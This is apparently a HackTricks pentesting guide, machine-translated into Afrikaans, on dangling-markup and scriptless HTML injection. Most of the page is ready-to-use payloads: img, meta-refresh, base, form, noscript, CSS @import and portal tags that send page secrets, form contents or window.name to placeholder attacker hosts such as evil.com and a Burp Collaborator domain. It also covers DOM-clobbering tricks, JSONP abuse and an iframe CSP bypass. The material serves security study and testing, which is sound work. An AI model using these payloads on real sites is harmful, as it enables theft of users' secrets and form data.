# Dangling Markup - HTML scriptless injection

{{#include ../../banners/hacktricks-training.md}}

## Resume

Hierdie tegniek kan gebruik word om inligting van 'n gebruiker te onttrek wanneer 'n **HTML-inspuiting gevind word**. Dit is baie nuttig as jy **nie 'n manier kan vind om 'n** [**XSS** ](../xss-cross-site-scripting/index.html) te benut nie, maar jy kan **'n paar HTML-tags inspuit**.\
Dit is ook nuttig as 'n **geheim in duidelike teks gestoor is** in die HTML en jy dit wil **exfiltrate** van die kliënt, of as jy 'n paar skripuitvoerings wil mislei.

Verskeie tegnieke wat hier bespreek word, kan gebruik word om 'n paar [**Content Security Policy**](../content-security-policy-csp-bypass/index.html) te omseil deur inligting op onverwagte maniere te exfiltrate (html-tags, CSS, http-meta-tags, vorms, basis...).

## Main Applications

### Stealing clear text secrets

As jy `<img src='http://evil.com/log.cgi?` inspuit wanneer die bladsy gelaai word, sal die slagoffer al die kode tussen die ingespuite `img`-tag en die volgende aanhaling binne die kode na jou stuur. As 'n geheim op een of ander manier in daardie stuk geleë is, sal jy dit steel (jy kan dieselfde ding doen met 'n dubbele aanhaling, kyk watter meer interessant kan wees om te gebruik).

As die `img`-tag verbied is (weens CSP byvoorbeeld) kan jy ook `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?` gebruik.
```html
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
Let wel dat **Chrome HTTP-URL's** met "<" of "\n" daarin blokkeer, so jy kan ander protokol skemas soos "ftp" probeer.

Jy kan ook CSS `@import` misbruik (sal al die kode stuur totdat dit 'n ";" vind)
```html
<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;
```
Jy kan ook **`<table`** gebruik.
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
Jy kan ook 'n `<base` tag invoeg. Alle inligting sal gestuur word totdat die aanhaling gesluit is, maar dit vereis 'n bietjie gebruikersinteraksie (die gebruiker moet op 'n skakel klik, omdat die basis tag die domein wat deur die skakel aangedui word, sal verander):
```html
<base target='        <--- Injected
steal me'<b>test</b>
```
### Steel vorms
```html
<base href="http://evil.com/" />
```
Dan sal die vorms wat data na die pad stuur (soos `<form action='update_profile.php'>`) die data na die kwaadwillige domein stuur.

### Steelvorms 2

Stel 'n vormkop in: `<form action='http://evil.com/log_steal'>` dit sal die volgende vormkop oorskryf en al die data van die vorm sal na die aanvaller gestuur word.

### Steelvorms 3

Die knoppie kan die URL verander waarheen die inligting van die vorm gestuur gaan word met die attribuut "formaction":
```html
<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
</button>
```
'n Aanvaller kan dit gebruik om die inligting te steel.

Vind 'n [**voorbeeld van hierdie aanval in hierdie skrywe**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).

### Steel duidelike teks geheime 2

Deur die nuutgenoemde tegniek te gebruik om vorms te steel (deur 'n nuwe vormkop in te spuit) kan jy dan 'n nuwe invoerveld inspuit:
```html
<input type='hidden' name='review_body' value="
```
en hierdie invoerveld sal al die inhoud tussen sy dubbele aanhalingstekens en die volgende dubbele aanhalingstekens in die HTML bevat. Hierdie aanval meng die "_**Stealing clear text secrets**_" met "_**Stealing forms2**_".

Jy kan dieselfde doen deur 'n vorm en 'n `<option>`-tag in te spuit. Al die data totdat 'n geslote `</option>` gevind word, sal gestuur word:
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
### Form parameter injection

Jy kan die pad van 'n vorm verander en nuwe waardes invoeg sodat 'n onverwagte aksie uitgevoer sal word:
```html
<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines

<form action="/change_settings.php">
← Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> ← Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
</form>
```
### Dief van duidelike teks geheime via noscript

`<noscript></noscript>` Is 'n etiket waarvan die inhoud geïnterpreteer sal word as die blaaier nie javascript ondersteun nie (jy kan Javascript in Chrome in [chrome://settings/content/javascript](chrome://settings/content/javascript) aktiveer/deaktiveer).

'n Manier om die inhoud van die webblad van die punt van inspuiting na die onderkant na 'n aanvaller beheerde webwerf te ekfiltreer, sal wees om dit in te spuit:
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### Om CSP te omseil met gebruikersinteraksie

Uit hierdie [portswiggers navorsing](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) kan jy leer dat selfs uit die **meest CSP-beperkte** omgewings jy steeds **data kan uitbring** met 'n bietjie **gebruikersinteraksie**. In hierdie geval gaan ons die payload gebruik:
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
Let wel dat jy die **slagoffer** sal vra om op 'n **skakel** te **klik** wat hom na **payload** wat deur jou beheer word, sal **herlei**. Neem ook kennis dat die **`target`** attribuut binne die **`base`** tag **HTML-inhoud** sal bevat tot die volgende enkele aanhaling.\
Dit sal maak dat die **waarde** van **`window.name`** as die skakel geklik word, al daardie **HTML-inhoud** gaan wees. Daarom, aangesien jy die **bladsy** beheer waar die slagoffer toegang verkry deur op die skakel te klik, kan jy daardie **`window.name`** toegang en daardie data **exfiltreer**:
```html
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### Misleidende skrip werkvloei 1 - HTML naamruimte aanval

Voeg 'n nuwe tag met 'n id binne die HTML in wat die volgende een sal oorskryf en met 'n waarde wat die vloei van 'n skrip sal beïnvloed. In hierdie voorbeeld kies jy met wie 'n inligting gedeel gaan word:
```html
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
<input id="share_with" value="" />

... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
```
### Misleidende skripwerkvloei 2 - Skripnaamruimte-aanval

Skep veranderlikes binne javascript naamruimte deur HTML-tags in te voeg. Dan sal hierdie veranderlike die vloei van die aansoek beïnvloed:
```html
<img id="is_public" /> ← Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; ← Condition always evaluates to true ... }
```
### Misbruik van JSONP

As jy 'n JSONP-koppelvlak vind, kan jy in staat wees om 'n arbitrêre funksie met arbitrêre data aan te roep:
```html
<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })
```
Of jy kan selfs probeer om 'n bietjie javascript uit te voer:
```html
<script src="/search?q=a&call=alert(1)"></script>
```
### Iframe misbruik

'n Kinddokument het die vermoë om die `location` eienskap van sy ouer te sien en te wysig, selfs in kruis-oorsprong situasies. Dit stel die insluiting van 'n skrip binne 'n **iframe** in staat om die kliënt na 'n arbitrêre bladsy te herlei:
```html
<html>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
</html>
```
Dit kan gemitigeer word met iets soos: `sandbox=' allow-scripts allow-top-navigation'`

'n iframe kan ook misbruik word om sensitiewe inligting van 'n ander bladsy te lek **deur die iframe naam attribuut**. Dit is omdat jy 'n iframe kan skep wat homself iframe, wat die HTML-inspuiting misbruik wat maak dat die **sensitiewe inligting binne die iframe naam attribuut verskyn** en dan daardie naam vanaf die aanvanklike iframe kan toegang en lek.
```html
<script>
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
</script>

<iframe
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
```
For more info check [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)

### \<meta misbruik

Jy kan **`meta http-equiv`** gebruik om **verskeie aksies** uit te voer soos om 'n koekie in te stel: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` of om 'n herleiding te doen (in 5s in hierdie geval): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`

Dit kan **vermy** word met 'n **CSP** rakende **http-equiv** ( `Content-Security-Policy: default-src 'self';`, of `Content-Security-Policy: http-equiv 'self';`)

### Nuwe \<portal HTML tag

Jy kan 'n baie **interessante navorsing** oor uitbuitbare kwesbaarhede van die \<portal tag [hier](https://research.securitum.com/security-analysis-of-portal-element/).\
Op die oomblik van hierdie skrywe moet jy die portal tag op Chrome aktiveer in `chrome://flags/#enable-portals` of dit sal nie werk nie.
```html
<portal src='https://attacker-server?
```
### HTML Lekke

Nie al die maniere om konnektiwiteit in HTML te lek sal nuttig wees vir Dangling Markup nie, maar soms kan dit help. Kyk hulle hier: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)

## SS-Lekke

Dit is 'n **mengsel** tussen **dangling markup en XS-Lekke**. Aan die een kant laat die kwesbaarheid toe om **HTML** (maar nie JS nie) in 'n bladsy van die **dieselfde oorsprong** as die een wat ons gaan aanval, in te voeg. Aan die ander kant sal ons nie die bladsy waar ons HTML kan invoeg, **direk aanval** nie, maar **'n ander bladsy**.

{{#ref}}
ss-leaks.md
{{#endref}}

## XS-Soek/XS-Lekke

XS-Soek is georiënteer op **exfiltreer kruis-oorsprong inligting** deur **kantkanaal-aanvalle** te misbruik. Daarom is dit 'n ander tegniek as Dangling Markup, maar sommige van die tegnieke misbruik die insluiting van HTML-tags (met en sonder JS-uitvoering), soos [**CSS Invoeging**](../xs-search/index.html#css-injection) of [**Lazy Load Beelde**](../xs-search/index.html#image-lazy-loading)**.**

{{#ref}}
../xs-search/
{{#endref}}

## Brute-Force Opsporing Lys

{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
{{#endref}}

## Verwysings

- [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
- [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
- [http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
- [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)

{{#include ../../banners/hacktricks-training.md}}